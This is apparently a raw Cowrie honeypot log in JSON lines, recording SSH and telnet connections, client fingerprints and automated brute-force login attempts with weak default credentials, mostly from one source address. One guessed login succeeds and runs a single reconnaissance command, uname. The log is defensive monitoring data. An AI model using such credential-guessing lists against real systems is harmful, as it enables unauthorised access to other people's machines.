{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:59.917117Z","src_ip":"192.109.200.78","session":"10d0ac749181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:00.164740Z","src_ip":"192.109.200.78","session":"10d0ac749181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:01.248651Z","src_ip":"192.109.200.78","session":"10d0ac749181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.738730907440186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:02.630326Z","src_ip":"107.6.151.170","session":"aa264a673217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39488,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f0f1937eaf7","protocol":"ssh","message":"New connection: 192.109.200.78:39488 (10.17.0.5:22) [session: 4f0f1937eaf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:03.494505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:03.503238Z","src_ip":"192.109.200.78","session":"4f0f1937eaf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:03.586053Z","src_ip":"192.109.200.78","session":"4f0f1937eaf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:03.836329Z","src_ip":"192.109.200.78","session":"4f0f1937eaf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.209.232","src_port":5322,"dst_ip":"159.203.135.109","dst_port":22,"session":"0543795766d1","protocol":"ssh","message":"New connection: 193.32.209.232:5322 (159.203.135.109:22) [session: 0543795766d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:04.295383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:04.300467Z","src_ip":"193.32.209.232","session":"0543795766d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc9e7273cde22b1209d6673b5fd10bd5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc9e7273cde22b1209d6673b5fd10bd5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:04.398132Z","src_ip":"193.32.209.232","session":"0543795766d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:04.502760Z","src_ip":"193.32.209.232","session":"0543795766d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:04.921405Z","src_ip":"192.109.200.78","session":"4f0f1937eaf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39494,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f7a3128d3e0","protocol":"ssh","message":"New connection: 192.109.200.78:39494 (10.17.0.5:22) [session: 0f7a3128d3e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:06.914175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:06.918657Z","src_ip":"192.109.200.78","session":"0f7a3128d3e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:07.005178Z","src_ip":"192.109.200.78","session":"0f7a3128d3e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:07.254241Z","src_ip":"192.109.200.78","session":"0f7a3128d3e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:08.338818Z","src_ip":"192.109.200.78","session":"0f7a3128d3e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39500,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1a32f106a28","protocol":"ssh","message":"New connection: 192.109.200.78:39500 (10.17.0.5:22) [session: a1a32f106a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:10.367760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:10.371487Z","src_ip":"192.109.200.78","session":"a1a32f106a28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:10.456952Z","src_ip":"192.109.200.78","session":"a1a32f106a28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:10.840683Z","src_ip":"192.109.200.78","session":"a1a32f106a28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:11.925569Z","src_ip":"192.109.200.78","session":"a1a32f106a28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40984,"dst_ip":"10.17.0.5","dst_port":22,"session":"2250b871d536","protocol":"ssh","message":"New connection: 192.109.200.78:40984 (10.17.0.5:22) [session: 2250b871d536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:14.040389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:14.045020Z","src_ip":"192.109.200.78","session":"2250b871d536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:14.133889Z","src_ip":"192.109.200.78","session":"2250b871d536","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:14.380317Z","src_ip":"192.109.200.78","session":"2250b871d536","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:14.591153Z","src_ip":"192.109.200.78","session":"2250b871d536","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:14.594557Z","src_ip":"192.109.200.78","session":"2250b871d536","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:14.679618Z","src_ip":"192.109.200.78","session":"2250b871d536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:14.684952Z","src_ip":"192.109.200.78","session":"2250b871d536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40988,"dst_ip":"10.17.0.5","dst_port":22,"session":"f43aba52f451","protocol":"ssh","message":"New connection: 192.109.200.78:40988 (10.17.0.5:22) [session: f43aba52f451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:17.435799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:17.440501Z","src_ip":"192.109.200.78","session":"f43aba52f451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:17.521513Z","src_ip":"192.109.200.78","session":"f43aba52f451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:17.768519Z","src_ip":"192.109.200.78","session":"f43aba52f451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:18.853032Z","src_ip":"192.109.200.78","session":"f43aba52f451","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41010,"dst_ip":"10.17.0.5","dst_port":22,"session":"27cd80c99b58","protocol":"ssh","message":"New connection: 192.109.200.78:41010 (10.17.0.5:22) [session: 27cd80c99b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:20.763919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:20.768059Z","src_ip":"192.109.200.78","session":"27cd80c99b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:20.849793Z","src_ip":"192.109.200.78","session":"27cd80c99b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:21.095548Z","src_ip":"192.109.200.78","session":"27cd80c99b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:22.180617Z","src_ip":"192.109.200.78","session":"27cd80c99b58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37402,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb7fdd4ac9b4","protocol":"ssh","message":"New connection: 192.109.200.78:37402 (10.17.0.5:22) [session: cb7fdd4ac9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:24.421882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:24.437446Z","src_ip":"192.109.200.78","session":"cb7fdd4ac9b4","protocol":"ssh"}
